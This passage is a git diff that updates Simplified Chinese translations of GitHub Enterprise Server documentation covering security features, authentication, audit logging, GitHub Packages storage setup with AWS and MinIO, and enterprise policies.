troubleshooting data to {% data variables.contact.github_support %}. For more information, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support)." +您可以手动收集故障排除数据并发送至 {% data variables.contact.github_support %}。 有关详细信息,请参阅“[向 {% data variables.contact.github_support %} 提供数据](/support/contacting-github-support/providing-data-to-github-support)”。 -### Encrypted communication +### 加密通信 -{% data variables.product.company_short %} designs {% data variables.product.product_name %} to run behind your corporate firewall. To secure communication over the wire, we encourage you to enable Transport Layer Security (TLS). {% data variables.product.product_name %} supports 2048-bit and higher commercial TLS certificates for HTTPS traffic. For more information, see "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)." +{% data variables.product.company_short %} 将 {% data variables.product.product_name %} 设计为在公司防火墙后面运行。 为确保线路通信安全,我们建议您启用传输层安全协议 (TLS)。 {% data variables.product.product_name %} 在 HTTPS 流量方面支持 2048 位和更高的商业 TLS 证书。 有关详细信息,请参阅“[配置 TLS](/admin/configuration/configuring-network-settings/configuring-tls)”。 -By default, the instance also offers Secure Shell (SSH) access for both repository access using Git and administrative purposes. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." +默认情况下,该实例还为使用 Git 的仓库访问和管理目的提供安全外壳 (SSH) 访问。 有关详细信息,请参阅“[关于 SSH](/authentication/connecting-to-github-with-ssh/about-ssh)”和“[访问管理 shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)”。 {% ifversion ghes > 3.3 %} -If you configure SAML authentication for {% data variables.location.product_location %}, you can enable encrypted assertions between the instance and your SAML IdP. For more information, see "[Using SAML](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml#enabling-encrypted-assertions)." +如果您为 {% data variables.product.product_location %} 配置 SAML 身份验证,则可以在实例和 SAML IdP 之间启用加密断言。 有关详细信息,请参阅“[使用 SAML](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml#enabling-encrypted-assertions)”。 {% endif %} -### Users and access permissions +### 用户和访问权限 -{% data variables.product.product_name %} provides three types of accounts. +{% data variables.product.product_name %} 提供三种类型的帐户。 -- The `admin` Linux user account has controlled access to the underlying operating system, including direct filesystem and database access. A small set of trusted administrators should have access to this account, which they can access over SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." -- User accounts in the instance's web application have full access to their own data and any data that other users or organizations explicitly grant. -- Site administrators in the instance's web application are user accounts that can manage high-level web application and instance settings, user and organization account settings, and repository data. +- `admin` Linux 用户帐户已控制对基础操作系统的访问,包括对直接文件系统和数据库的访问。 一小部分受信任的管理员应该有权访问此帐户,他们可以通过 SSH 访问。 有关详细信息,请参阅“[访问管理 shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)”。 +- 实例 Web 应用程序中的用户帐户对自己的数据以及其他用户或组织明确授予权限的任何数据具有完全访问权限。 +- 实例 Web 应用程序中的站点管理员是可以管理高级 Web 应用程序和实例设置、用户和组织帐户设置以及仓库数据的用户帐户。 -For more information about {% data variables.product.product_name %}'s user permissions, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/access-permissions-on-github)." +有关 {% data variables.product.product_name %} 用户权限的详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 上的访问权限](/get-started/learning-about-github/access-permissions-on-github)”。 -### Authentication +### 身份验证 -{% data variables.product.product_name %} provides four authentication methods. +{% data variables.product.product_name %} 提供四种身份验证方法。 -- SSH public key authentication provides both repository access using Git and administrative shell access. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)." -- Username and password authentication with HTTP cookies provides web application access and session management, with optional two-factor authentication (2FA). For more information, see "[Using built-in authentication](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication)." -- External LDAP, SAML, or CAS authentication using an LDAP service, SAML Identity Provider (IdP), or other compatible service provides access to the web application. For more information, see "[Managing IAM for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise)." -- OAuth and {% data variables.product.pat_generic %}s provide access to Git repository data and APIs for both external clients and services. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +- SSH 公钥身份验证提供使用 Git 的仓库访问权限和管理 shell 的访问权限。 有关详细信息,请参阅“[关于 SSH](/authentication/connecting-to-github-with-ssh/about-ssh)”和“[访问管理 shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)”。 +- 使用 HTTP cookie 的用户名和密码身份验证提供 Web 应用程序访问和会话管理权限,可选择双重身份验证 (2FA)。 有关详细信息,请参阅“[使用内置身份验证](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication)”。 +- 使用 LDAP 服务、SAML 身份提供程序 (IdP) 或其他兼容服务的外部 LDAP、SAML 或 CAS 身份验证提供对 Web 应用程序的访问权限。 有关详细信息,请参阅“[管理企业的 IAM](/admin/identity-and-access-management/managing-iam-for-your-enterprise)”。 +- OAuth 和个人访问令牌为外部客户端和服务提供对 Git 仓库数据和 API 的访问权限。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 -### Audit and access logging +### 审核和访问日志记录 -{% data variables.product.product_name %} stores both traditional operating system and application logs. The application also writes detailed auditing and security logs, which {% data variables.product.product_name %} stores permanently. You can forward both types of logs in real time to multiple destinations via the `syslog-ng` protocol. For more information, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)" and "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)." +{% data variables.product.product_name %} 存储传统的操作系统日志和应用程序日志。 应用程序还会编写详细的审核和安全日志,永久存储在 {% data variables.product.product_name %} 上。 可通过 `syslog-ng` 协议将两种类型的日志实时转发到多个目标。 有关详细信息,请参阅“[关于你企业的审核日志](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)”和“[日志转发](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)”。 -Access and audit logs include information like the following. +访问和审核日志包括如下信息。 -#### Access logs +#### 访问日志 -- Full web server logs for both browser and API access -- Full logs for access to repository data over Git, HTTPS, and SSH protocols -- Administrative access logs over HTTPS and SSH +- 关于浏览器和 API 访问的完整 web 服务器日志 +- 通过 Git、HTTP 和 SSH 协议访问仓库数据的完整日志 +- 通过 HTTPS 和 SSH 的管理访问日志 -#### Audit logs +#### 审核日志 -- User logins, password resets, 2FA requests, email setting changes, and changes to authorized applications and APIs -- Site administrator actions, such as unlocking user accounts and repositories -- Repository push events, access grants, transfers, and renames -- Organization membership changes, including team creation and destruction +- 用户登录、密码重置、2FA 请求、电子邮件设置更改,以及对授权应用程序和 API 的更改 +- 站点管理员操作,例如解锁用户帐户和仓库 +- 仓库推送事件、访问授权、转让和重命名 +- 组织成员变更,包括团队创建和删除 -## Open source dependencies for {% data variables.product.product_name %} +## {% data variables.product.product_name %} 的开源依赖项 -You can see a complete list of dependencies in your instance's version of {% data variables.product.product_name %}, as well as each project's license, at `http(s)://HOSTNAME/site/credits`. +若要查看实例的 {% data variables.product.product_name %} 版本中依赖项的完整列表以及每个项目的许可证,请访问 `http(s)://HOSTNAME/site/credits`。 -Tarballs with a full list of dependencies and associated metadata are available on your instance. +你的实例上提供包含依赖项和关联元数据完整列表的 tarball。 -- For dependencies common to all platforms, at `/usr/local/share/enterprise/dependencies--base.tar.gz` -- For dependencies specific to a platform, at `/usr/local/share/enterprise/dependencies--.tar.gz` +- 对于所有平台通用的依赖项,请访问 `/usr/local/share/enterprise/dependencies--base.tar.gz` +- 对于特定于平台的依赖项,请访问 `/usr/local/share/enterprise/dependencies--.tar.gz` -Tarballs are also available, with a full list of dependencies and metadata, at `https://enterprise.github.com/releases//download.html`. +还在 `https://enterprise.github.com/releases//download.html` 处提供包含依赖项和元数据完整列表的 tarball。 -## Further reading +## 延伸阅读 -- "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server)" -- "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)" +- [设置 {% data variables.product.prodname_ghe_server %} 的试用版](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server) +- [设置 {% data variables.product.prodname_ghe_server %} 实例](/admin/installation/setting-up-a-github-enterprise-server-instance) diff --git a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md index a60407369d..f0b4b0384e 100644 --- a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md +++ b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md @@ -1,6 +1,6 @@ --- -title: Enabling GitHub Packages with AWS -intro: 'Set up {% data variables.product.prodname_registry %} with AWS as your external storage.' +title: 使用 AWS 启用 GitHub Packages +intro: '以 AWS 作为外部存储设置 {% data variables.product.prodname_registry %} 。' versions: ghes: '*' type: tutorial @@ -10,22 +10,27 @@ topics: - Packages - Packages shortTitle: Enable Packages with AWS +ms.openlocfilehash: 185373657cad88bc0a45e48eb5835abdf394f9ce +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145099002' --- - {% warning %} -**Warnings:** -- It is critical that you configure any restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible to the public internet. For more information, see "[Setting bucket and object access permissions](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html)" in the AWS Documentation. -- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. -- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. +警告: +- 为存储桶配置所需的限制性访问策略至关重要,因为 {% data variables.product.company_short %} 不会将特定对象权限或其他访问控制列表 (ACL) 应用于存储桶配置。 例如,如果将存储桶设为公共,则在公共互联网上可以访问存储桶中的数据。 有关详细信息,请参阅 AWS 文档中的“[设置 Bucket 和对象访问权限](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html)”。 +- 我们建议对 {% data variables.product.prodname_registry %} 使用专用存储桶,与用于 {% data variables.product.prodname_actions %} 存储的存储桶分开。 +- 请确保配置将来要使用的存储桶。 在开始使用 {% data variables.product.prodname_registry %} 后,我们不建议更改存储系统。 {% endwarning %} -## Prerequisites +## 先决条件 -Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your AWS storage bucket. To prepare your AWS storage bucket, we recommend consulting the official AWS docs at [AWS Documentation](https://docs.aws.amazon.com/index.html). +在 {% data variables.product.product_location_enterprise %} 上启用和配置 {% data variables.product.prodname_registry %} 之前,您必须准备 AWS 存储桶。 为了准备 AWS Bucket,建议在 [AWS 文档](https://docs.aws.amazon.com/index.html)中查阅官方 AWS 文档。 -Ensure your AWS access key ID and secret have the following permissions: +确保您的 AWS 访问密钥 ID 和密钥具有以下权限: - `s3:PutObject` - `s3:GetObject` - `s3:ListBucketMultipartUploads` @@ -34,28 +39,23 @@ Ensure your AWS access key ID and secret have the following permissions: - `s3:DeleteObject` - `s3:ListBucket` -## Enabling {% data variables.product.prodname_registry %} with AWS external storage +## 使用 AWS 外部存储启用 {% data variables.product.prodname_registry %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_site_admin_settings.packages-tab %} -{% data reusables.package_registry.enable-enterprise-github-packages %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_site_admin_settings.packages-tab %} {% data reusables.package_registry.enable-enterprise-github-packages %} {% ifversion ghes %} -1. Under "Packages Storage", select **Amazon S3** and enter your storage bucket's details: - - **AWS Service URL:** The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2 region`, this value should be `https://s3.us-west-2.amazonaws.com`. +1. 在“包存储”下,选择“Amazon S3”并输入存储 Bucket 的详细信息: + - AWS 服务 URL:Bucket 的服务 URL。 例如,如果你的 S3 存储桶是在 `us-west-2 region` 中创建的,则此值应为 `https://s3.us-west-2.amazonaws.com`。 - For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation. + 有关详细信息,请参阅 AWS 文档中的“[AWS 服务终结点](https://docs.aws.amazon.com/general/latest/gr/rande.html)”。 - - **AWS S3 Bucket:** The name of your S3 bucket dedicated to {% data variables.product.prodname_registry %}. - - **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key to access your bucket. + - AWS S3 Bucket:S3 Bucket 的名称,专用于 {% data variables.product.prodname_registry %}。 + - AWS S3 访问密钥和 AWS S3 密钥:用于访问 Bucket 的 AWS 访问密钥 ID 和密钥 。 - For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)." + 有关管理 AWS 访问密钥的详细信息,请参阅“[AWS 标识和访问管理文档](https://docs.aws.amazon.com/iam/index.html)”。 - ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) -{% endif %} -{% data reusables.enterprise_management_console.save-settings %} + ![S3 AWS Bucket 详细信息的输入框](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) {% endif %} {% data reusables.enterprise_management_console.save-settings %} -## Next steps +## 后续步骤 {% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md index 0fa9b47390..0140798e99 100644 --- a/translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md +++ b/translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md @@ -1,6 +1,6 @@ --- -title: Enabling GitHub Packages with MinIO -intro: 'Set up {% data variables.product.prodname_registry %} with MinIO as your external storage.' +title: 使用 MinIO 启用 GitHub Packages +intro: '以 MinIO 作为外部存储设置 {% data variables.product.prodname_registry %} 。' versions: ghes: '*' type: tutorial @@ -9,22 +9,27 @@ topics: - Packages - Storage shortTitle: Enable Packages with MinIO +ms.openlocfilehash: 2e7d76ee696dfbcd2369c577ef2d2ee803a09638 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145099001' --- - {% warning %} -**Warnings:** -- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet. -- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage. -- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}. +警告: +- 为存储桶设置所需的限制性访问策略至关重要,因为 {% data variables.product.company_short %} 不会将特定对象权限或其他访问控制列表 (ACL) 应用于存储桶配置。 例如,如果将存储桶设为公共,则在公共互联网上可以访问存储桶中的数据。 +- 我们建议对 {% data variables.product.prodname_registry %} 使用专用存储桶,与用于 {% data variables.product.prodname_actions %} 存储的存储桶分开。 +- 请确保配置将来要使用的存储桶。 在开始使用 {% data variables.product.prodname_registry %} 后,我们不建议更改存储系统。 {% endwarning %} -## Prerequisites +## 先决条件 -Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your MinIO storage bucket. To help you quickly set up a MinIO bucket and navigate MinIO's customization options, see the "[Quickstart for configuring your MinIO storage bucket for {% data variables.product.prodname_registry %}](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages)." +在 {% data variables.product.product_location_enterprise %} 上启用和配置 {% data variables.product.prodname_registry %} 之前,您必须准备 MinIO 存储桶。 若要帮助快速设置 MinIO Bucket 并浏览 MinIO 的自定义选项,请参阅“[为 {% data variables.product.prodname_registry %} 配置 MinIO 存储 Bucket 快速入门](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages)”。 -Ensure your MinIO external storage access key ID and secret have these permissions: +确保您的 MinIO 外部存储访问密钥 ID 和密码具有以下权限: - `s3:PutObject` - `s3:GetObject` - `s3:ListBucketMultipartUploads` @@ -33,26 +38,21 @@ Ensure your MinIO external storage access key ID and secret have these permissio - `s3:DeleteObject` - `s3:ListBucket` -## Enabling {% data variables.product.prodname_registry %} with MinIO external storage +## 使用 MinIO 外部存储启用 {% data variables.product.prodname_registry %} -Although MinIO does not currently appear in the user interface under "Package Storage", MinIO is still supported by {% data variables.product.prodname_registry %} on {% data variables.product.prodname_enterprise %}. Also, note that MinIO's object storage is compatible with the S3 API and you can enter MinIO's bucket details in place of AWS S3 details. +虽然 MinIO 目前没有出现在“封装存储”下的用户界面中,MinIO 在 {% data variables.product.prodname_enterprise %} 上仍然受 {% data variables.product.prodname_registry %} 支持。 另请注意,MinIO 的对象存储与 S3 API 兼容,您可以输入MinIO 存储桶详细信息代替 AWS S3 详细信息。 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_site_admin_settings.packages-tab %} -{% data reusables.package_registry.enable-enterprise-github-packages %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_site_admin_settings.packages-tab %} {% data reusables.package_registry.enable-enterprise-github-packages %} {% ifversion ghes %} -1. Under "Packages Storage", select **Amazon S3**. -1. Enter your MinIO storage bucket's details in the AWS storage settings. - - **AWS Service URL:** The hosting URL for your MinIO bucket. - - **AWS S3 Bucket:** The name of your S3-compatible MinIO bucket dedicated to {% data variables.product.prodname_registry %}. - - **AWS S3 Access Key** and **AWS S3 Secret Key**: Enter the MinIO access key ID and secret key to access your bucket. +1. 在“包存储”下,选择“Amazon S3”。 +1. 在 AWS 存储设置中输入 MinIO 存储桶的详细信息。 + - AWS 服务 URL:MinIO Bucket 的托管 URL。 + - AWS S3 Bucket:与 S3 兼容的 MinIO Bucket 的名称,专用于 {% data variables.product.prodname_registry %}。 + - AWS S3 访问密钥和 AWS S3 密钥:输入用于访问 Bucket 的 MinIO 访问密钥 ID 和密钥 。 - ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) -{% endif %} -{% data reusables.enterprise_management_console.save-settings %} + ![S3 AWS Bucket 详细信息的输入框](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png) {% endif %} {% data reusables.enterprise_management_console.save-settings %} -## Next steps +## 后续步骤 {% data reusables.package_registry.next-steps-for-packages-enterprise-setup %} diff --git a/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md index 43a79f9653..a8e56c1ad2 100644 --- a/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Getting started with GitHub Packages for your enterprise +title: 企业 GitHub Packages 使用入门 shortTitle: Getting started with GitHub Packages -intro: 'You can start using {% data variables.product.prodname_registry %} on {% data variables.location.product_location %} by enabling the feature, configuring third-party storage, configuring the ecosystems you want to support, and updating your TLS certificate.' +intro: '您可以通过启用功能、配置第三方存储、配置您想要支持的生态系统以及更新您的 TLS 证书,开始在 {% data variables.product.product_location %} 上使用 {% data variables.product.prodname_registry %}。' redirect_from: - /enterprise/admin/packages/enabling-github-packages-for-your-enterprise - /admin/packages/enabling-github-packages-for-your-enterprise @@ -11,42 +11,46 @@ type: how_to topics: - Enterprise - Packages +ms.openlocfilehash: 2389eba768a8b2f865165b43dde0e1b6381c6ae7 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '146199960' --- - - {% data reusables.package_registry.packages-cluster-support %} -## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise +## 步骤 1:检查 {% data variables.product.prodname_registry %} 是否可用于您的企业 -{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." -## Step 2: Enable {% data variables.product.prodname_registry %} and configure external storage +{% data variables.product.prodname_registry %} 在 {% data variables.product.prodname_ghe_server %} 3.0 或更高版本中可用。 如果您使用的是早期版本的 {% data variables.product.prodname_ghe_server %},则必须升级才能使用 {% data variables.product.prodname_registry %}。 有关升级 {% data variables.product.prodname_ghe_server %} 实例的详细信息,请参阅“[关于升级到新版本](/admin/overview/about-upgrades-to-new-releases)”。 +## 步骤 2:启用 {% data variables.product.prodname_registry %} 并配置外部存储 -{% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. +{% data variables.product.prodname_ghe_server %} 上的 {% data variables.product.prodname_registry %} 使用外部 Blob 存储来存储您的软件包。 -After enabling {% data variables.product.prodname_registry %} for {% data variables.location.product_location %}, you'll need to prepare your third-party storage bucket. The amount of storage required depends on your usage of {% data variables.product.prodname_registry %}, and the setup guidelines can vary by storage provider. +在为 {% data variables.product.product_location %} 启用 {% data variables.product.prodname_registry %} 后,需要准备您的第三方存储桶。 所需的存储量取决于您对 {% data variables.product.prodname_registry %} 的使用,且设置指南可能因存储提供商而异。 -Supported external storage providers +支持的外部存储提供商 - Amazon Web Services (AWS) S3 {% ifversion ghes %} - Azure Blob Storage {% endif %} - MinIO -To enable {% data variables.product.prodname_registry %} and configure third-party storage, see: - - "[Enabling GitHub Packages with AWS](/admin/packages/enabling-github-packages-with-aws)"{% ifversion ghes %} - - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} - - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" +要启用 {% data variables.product.prodname_registry %} 并配置第三方存储,请参阅: + - [使用 AWS 启用 GitHub 包](/admin/packages/enabling-github-packages-with-aws){% ifversion ghes %} + - [使用 Azure Blob 存储启用 GitHub 包](/admin/packages/enabling-github-packages-with-azure-blob-storage){% endif %} + - [使用 MinIO 启用 GitHub Packages](/admin/packages/enabling-github-packages-with-minio) -## Step 3: Specify the package ecosystems to support on your instance +## 步骤 3:指定包生态系统以支持实例 -Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.location.product_location %}. Available options are {% ifversion ghes > 3.4 %}{% data variables.product.prodname_container_registry %}, {% endif %}Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." +选择您要在 {% data variables.product.product_location %} 上启用、禁用或设置为只读的包生态系统。 可用选项包括 {% ifversion ghes > 3.4 %}{% data variables.product.prodname_container_registry %}、{% endif %}Docker、RubyGems、npm、Apache Maven、Gradle 或 NuGet。 有关详细信息,请参阅“[为企业配置包生态系统支持](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)”。 -## Step 4: Ensure you have a TLS certificate for your package host URL, if needed +## 步骤 4:如果需要,请确保具有包主机 URL 的 TLS 证书 -If subdomain isolation is enabled for {% data variables.location.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `{% data reusables.package_registry.container-registry-hostname %}`. Make sure each package host URL includes `https://`. +如果为 {% data variables.product.product_location %} 启用了子域隔离,则需要创建并上传 TLS 证书,该证书允许要使用的每个生态系统的包主机 URL,例如 `{% data reusables.package_registry.container-registry-hostname %}`。 确保每个包主机 URL 包含 `https://`。 - You can create the certificate manually, or you can use _Let's Encrypt_. If you already use _Let's Encrypt_, you must request a new TLS certificate after enabling {% data variables.product.prodname_registry %}. For more information about package host URLs, see "[Enabling subdomain isolation](/enterprise/admin/configuration/enabling-subdomain-isolation)." For more information about uploading TLS certificates to {% data variables.product.product_name %}, see "[Configuring TLS](/enterprise/admin/configuration/configuring-tls)." + 可以手动创建证书,也可以使用“让我们加密”。 如果已经使用“让我们加密”,必须在启用 {% data variables.product.prodname_registry %} 后申请新的 TLS 证书。 有关包主机 URL 的详细信息,请参阅“[启用子域隔离](/enterprise/admin/configuration/enabling-subdomain-isolation)”。 有关将 TLS 证书上传到 {% data variables.product.product_name %} 的详细信息,请参阅“[配置 TLS](/enterprise/admin/configuration/configuring-tls)”。 -## Step 5: Check for and rename reserved names +## 步骤 5:检查并重命名保留名称 -If you want to use the Docker ecosystem with subdomain isolation disabled, you **must** first rename any user or organization named `v2` on {% data variables.location.product_location %}, prior to enabling Docker ecosystem support in the {% data variables.enterprise.management_console %}. Docker uses a `v2` account name to manage path conflicts with the Docker API, and once Docker registry support is enabled, you won't be able to use this name anymore. +如果要在禁用子域隔离的情况下使用 Docker 生态系统,必须先重命名 {% data variables.product.product_location %} 上名为 `v2` 的任何用户或组织,然后才能在 {% data variables.enterprise.management_console %} 中启用 Docker 生态系统支持。 Docker 使用 `v2` 帐户名称来管理与 Docker API 的路径冲突;启用 Docker 注册表支持后,将无法再使用此名称。 -You can view a full list of logins reserved for internal use by navigating to the "Reserved logins" page in the Site admin dashboard. For more information, see "[Reserved logins](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#reserved-logins)." +可导航到站点管理仪表板中的“保留登录名”页来查看已保留供内部使用的登录名完整列表。 有关详细信息,请参阅“[保留登录名](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#reserved-logins)”。 diff --git a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md index 15cdbd6559..419ba187fa 100644 --- a/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md +++ b/translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/about-enterprise-policies.md @@ -1,6 +1,6 @@ --- -title: About enterprise policies -intro: 'With enterprise policies, you can manage the policies for all the organizations owned by your enterprise.' +title: 关于企业策略 +intro: 使用企业策略,可以管理企业拥有的所有组织的策略。 versions: ghec: '*' ghes: '*' @@ -9,22 +9,26 @@ type: overview topics: - Enterprise - Policies +ms.openlocfilehash: d452a6f24b3108b915e20b673ebd317a409ac8ae +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147718115' --- - -To help you enforce business rules and regulatory compliance, policies provide a single point of management for all the organizations owned by an enterprise account. +为了帮助你实施业务规则和法规合规性,策略为企业帐户拥有的所有组织提供单个管理点。 {% data reusables.enterprise.about-policies %} -For example, with the "Base permissions" policy, you can allow organization owners to configure the "Base permissions" policy for their organization, or you can enforce a specific base permissions level, such as "Read", for all organizations within the enterprise. +例如,使用“基本权限”策略,可以允许组织所有者为其组织配置“基本权限”策略,也可以为企业中的所有组织强制实施特定的基本权限级别,例如“读取”。 -By default, no enterprise policies are enforced. To identify policies that should be enforced to meet the unique requirements of your business, we recommend reviewing all the available policies in your enterprise account, starting with repository management policies. For more information, see "[Enforcing repository management polices in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise)." +默认情况下,不会强制实施企业策略。 要确定应强制实施以满足业务独特需求的策略,建议从存储库管理策略开始,查看企业帐户中所有可用的策略。 有关详细信息,请参阅“[在企业中强制实施存储库管理策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise)”。 -While you're configuring enterprise policies, to help you understand the impact of changing each policy, you can view the current configurations for the organizations owned by your enterprise. +配置企业策略时,如需了解更改每个策略所产生的影响,可以查看企业拥有的组织的当前配置。 -{% ifversion ghes %} -Another way to enforce standards within your enterprise is to use pre-receive hooks, which are scripts that run on {% data variables.location.product_location %} to implement quality checks. For more information, see "[Enforcing policy with pre-receive hooks](/admin/policies/enforcing-policy-with-pre-receive-hooks)." +{% ifversion ghes %} 在企业中强制实施标准的另一种方法是使用预接收挂钩(即在 {% data variables.product.product_location %} 上运行的脚本)来实现质量检查。 有关详细信息,请参阅“[使用预接收挂钩强制实施策略](/admin/policies/enforcing-policy-with-pre-receive-hooks)”。 {% endif %} -## Further reading +## 延伸阅读 -- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)" +- “[关于企业帐户](/admin/overview/about-enterprise-accounts)” diff --git 